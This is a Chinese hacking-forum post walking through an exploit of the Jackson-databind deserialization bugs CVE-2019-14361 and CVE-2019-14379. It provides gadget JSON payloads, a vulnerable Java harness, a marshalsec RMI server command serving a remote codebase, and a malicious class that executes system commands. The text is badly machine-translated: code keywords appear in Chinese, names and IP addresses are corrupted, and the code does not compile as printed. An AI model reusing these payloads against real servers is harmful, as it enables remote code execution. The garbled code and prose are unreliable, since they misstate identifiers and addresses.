H

CVE-2019-14361与CVE-2019-14379漏洞复现

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

CVE-2019-14361 CVE-2019-14379漏洞复现​

我在7月30日晚上收到了推动力。我得知杰克逊马云惹不起马云戴塔宾德(Jackson-Databind)发布了新的RCE,一些大wig虫找到了一种新的使用方式。

漏洞分析​

根据杰克逊开发人员的问题,触发杰克逊漏洞需要以下要求。
目标应用程序接收由不信任客户发送的JSON数据
目标应用程序使用多态类型处理方法处理Java.lang.Object类型的属性;
在这个脆弱性中,有很多第三方JAR软件包取决于(我觉得我可以在实际利用过程中遇到这些库是一个巧合)

环境搭建​

本文使用的第三方库是:
Jackson-Annotations-2.9.8
杰克逊核2.9.8
杰克逊- 戴塔宾德-2.9.8
EHCACHE-2.9.1
SLF4J-API-1.7.7
logback-core-1.3.0-alpha4
SLF4J-SIMPLE-1.7.21
javax.transaction_1.0.0.0_1-1
通过http://www.mvnreposotority.com下载.

漏洞代码​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
导入com.fasterxml.jackson.databind.objectMapper;
导入com.fasterxml.jackson.databind.SerializationFeature;
导入java.lang.exception;
公共类Main {
公共静态void main(string [] args){
system.out.println('映射');
//请注意,较高版本的JDK有限制,以及com.sun.jndi.rmi.object.trusturlcodebase的值需要设置为true,默认值为false
system.setProperty('com.sun.jndi.rmi.object.trusturlcodebase','true');
//CVE-2019-14361有效载荷
字符串jsonstr1='[\'ch.qos.logback.core.db.jndiconnectionsource \',{\'jndilocation \': \': \'rmi: //127.0.0.0.0.0.1:1099/exportobext \'}]
//CVE-2019-14379有效载荷
字符串jsonstr2='[\'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\',{\'properties\':{\'jndiName\':\'rmi://127.0.0.1:1099/ExportObject\'}}]';
ObjectMapper mapper=new ObjectMapper();
mappper.enabledefaultTypy();
mapper.configure(serializationfeature.fail_on_empty_beans,false);
system.out.println('serialization');
对象obj=null;
尝试{
//! - 在此处重新载荷!
obj=mapper.ReadValue(jsonstr1,java.lang.object.class);
} catch(异常E){
e.printstacktrace();
}
system.out.println('objectified');
尝试{
mappper.WriteValueAsstring(OBJ);
} catch(异常E){
e.printstacktrace();
}
尝试{
System.out.println('Stringified:' + mapper.writeValueasString(obj));
} catch(异常E)
{
e.printstacktrace();
}
}
}

构建步骤​

本文生成了一个关于想法的项目
创建一个新的Java命令行项目
将上述代码复制到主要功能
单击红色框中的图标以输入项目结构设置
20190726153817.png-water_print

将下载的外部库导入项目
有关特定的导入步骤,请参阅我的文章。我不会在这里详细介绍。 https://www.secquan.org/bugwarning/1069944

攻击流程​

打开RMI服务
为了方便起见,我们可以使用元帅文物,可以快速启用RMI和LDAP服务。当然,您需要下载源代码包并用Maven编译。下载链接:https://github.com/mbechler/marshalsec。在本地下载后,您可以使用MVN Clean Package -dskiptests对其进行编译。汇编结果如下:
20190801153230.png-water_print

打开RMI服务:
1
JAVA -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER 3http://IP3:8000/#EXTORTOBJECT
20190801154544.png-water_print

注意:#以后填写恶意类的类名称,它将自动绑定URI,而RMI的默认端口号为1099。
编译ExportObject.java
ExportObject.java代码内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
包com.by.rmi;
导入java.io.bufferedreader;
导入java.io.io.inputStreamReader;
公共类ExportObject {
public exportObject()抛出异常{
Process Proc=runtime.getRuntime()。exec('open /applications/calculator.app');
BufferedReader br=new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer SB=new StringBuffer();
字符串线;
while(((line=br.readline())!=null){
sb.append(line).append('\ n');
}
字符串结果=sb.tostring();
异常E=新异常(结果);
扔e;
}
public static void main(string [] args)抛出异常{
ExportObject E=new ExportObject();
}
}
注意:以上代码的功能是在Mac平台上弹出计算器。如果更改平台,请自行替换EXEC函数中的内容。
编译为类文件:
Javac ExportObject.java
执行Python2 -M SimpleHttpserver 8000在Generate ExportObject.Class.Class文件夹下,并在本地启动HTTP服务。

CVE-2019-14361 测试​

用JSONSTR1和编译和运行替换POC中的有效载荷,结果如下:
20190801154407.png-water_print

CVE-2019-14379 测试​

用jsonstr2和编译和运行替换POC中的有效载荷,结果如下:
20190801154458.png-water_print

相应地,RMI服务操作的屏幕截图如下:
20190801154946.png-water_print
 
后退
顶部